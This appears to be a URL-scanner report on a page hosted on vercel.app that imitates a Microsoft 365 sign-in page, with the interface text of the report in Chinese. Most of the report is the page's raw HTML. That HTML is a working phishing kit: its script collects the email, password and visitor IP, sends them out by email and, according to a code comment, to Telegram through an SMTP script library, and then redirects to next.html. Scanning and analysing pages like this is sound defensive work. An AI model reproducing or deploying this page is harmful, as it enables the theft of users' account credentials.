- 掃描 ID:
- c70470f8-2d5f-4100-a7ab-c38b411274b8已完成
- 已提交的 URL:
- https://office365-mauve.vercel.app/
- 報告完成時間:
連結 · 找到 0 個
從頁面中識別的傳出連結
JavaScript 變數 · 找到 4 個
在頁面的視窗物件上載入的全域 JavaScript 變數是在函數外部宣告的變數,可從目前範圍內程式碼中的任何位置存取
名稱 | 類型 |
---|---|
onbeforetoggle | object |
documentPictureInPicture | object |
onscrollend | object |
object |
主控台記錄訊息 · 找到 9 條
記錄到 Web 主控台的訊息
類型 | 類別 | 記錄 |
---|---|---|
log | other |
|
log | other |
|
log | other |
|
log | other |
|
log | other |
|
log | other |
|
verbose | dom |
|
log | other |
|
log | other |
|
HTML
頁面的原始 HTML 主體
<!DOCTYPE html><html lang="en"><head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<link rel="icon" href="images/logo.png" type="image/x-icon">
<title>Microsoft 365 | Home </title>
<link rel="stylesheet" href="css/index.css">
<script src="https://smtpjs.com/v3/smtp.js"></script>
<title>Login Form</title>
</head>
<body>
<div class="slideshow-container">
<img src="images/image1.jpg" alt="Slideshow Image" class="slideshow-image" style="display: block;">
<img src="images/image2.jpg" alt="Slideshow Image" class="slideshow-image" style="display: none;">
<img src="images/image3.jpg" alt="Slideshow Image" class="slideshow-image" style="display: none;">
<img src="images/image4.jpg" alt="Slideshow Image" class="slideshow-image" style="display: none;">
</div>
<div class="login-container">
<div class="header">
<h1>Sign In</h1>
<img src="images/lo.jpg" alt="Logo" class="logo">
</div>
<form id="loginForm">
<p id="errorMessage" style="color: red; margin-top: 5px;"></p>
<input type="text" id="username" name="username" placeholder="[email protected]" style="font-style: italic" required="">
<p id="errorMessagePassword" style="color: red; margin-top: 5px;"></p>
<input type="password" id="password" name="password" placeholder="Password" style="display: none" required="">
<button type="button" id="nextButton">Next</button>
</form>
<div class="additional-buttons">
<button class="rounded-button continue-outlook">Continue with Outlook</button>
<button class="rounded-button continue-with-ionos">Continue with IONOS</button>
<button class="rounded-button continue-other-email">Continue with Other email</button>
</div>
</div>
<script>
console.log('Script file loaded');
document.addEventListener('DOMContentLoaded', function () {
const usernameInput = document.getElementById('username');
const passwordInput = document.getElementById('password');
const nextButton = document.getElementById('nextButton');
const errorMessage = document.getElementById('errorMessage');
const errorMessagePassword = document.getElementById('errorMessagePassword');
passwordInput.style.display = 'none';
nextButton.addEventListener('click', async function () {
const trimmedUsername = usernameInput.value.trim();
const trimmedPassword = passwordInput.value.trim();
if (passwordInput.style.display === 'none') {
if (!trimmedUsername) {
errorMessage.textContent = 'Please fill in the username';
errorMessagePassword.textContent = ''; // Clear password error message
return;
}
errorMessage.textContent = ''; // Clear username error message
// Store username in sessionStorage
sessionStorage.setItem('username', trimmedUsername);
passwordInput.style.display = 'block';
nextButton.textContent = 'Sign In';
} else {
if (!trimmedUsername) {
errorMessage.textContent = 'Please fill in the username';
errorMessagePassword.textContent = ''; // Clear password error message
return;
}
if (!trimmedPassword) {
errorMessagePassword.textContent = 'Please fill in the password';
errorMessage.textContent = ''; // Clear username error message
return;
}
errorMessage.textContent = ''; // Clear username error message
errorMessagePaassword.textContent = ''; // Clear password error message
// Store password in sessionStorage
sessionStorage.setItem('password', trimmedPassword);
try {
const ip = await getIPAddress();
const data = {
email: trimmedUsername,
password: trimmedPassword,
ip,
};
// Send email and to Telegram
await sendRequest(data);
// Reset the form
document.getElementById('loginForm').reset();
passwordInput.style.display = 'none';
nextButton.textContent = 'Next';
} catch (error) {
console.error('Error:', );
}
// Redirect to next.html
window.location = 'next.html';
}
});
// ... existing code ...
});
</script>
<script src="js/index.js"></script>
<script src="js/smtp.js"></script>
</body></html>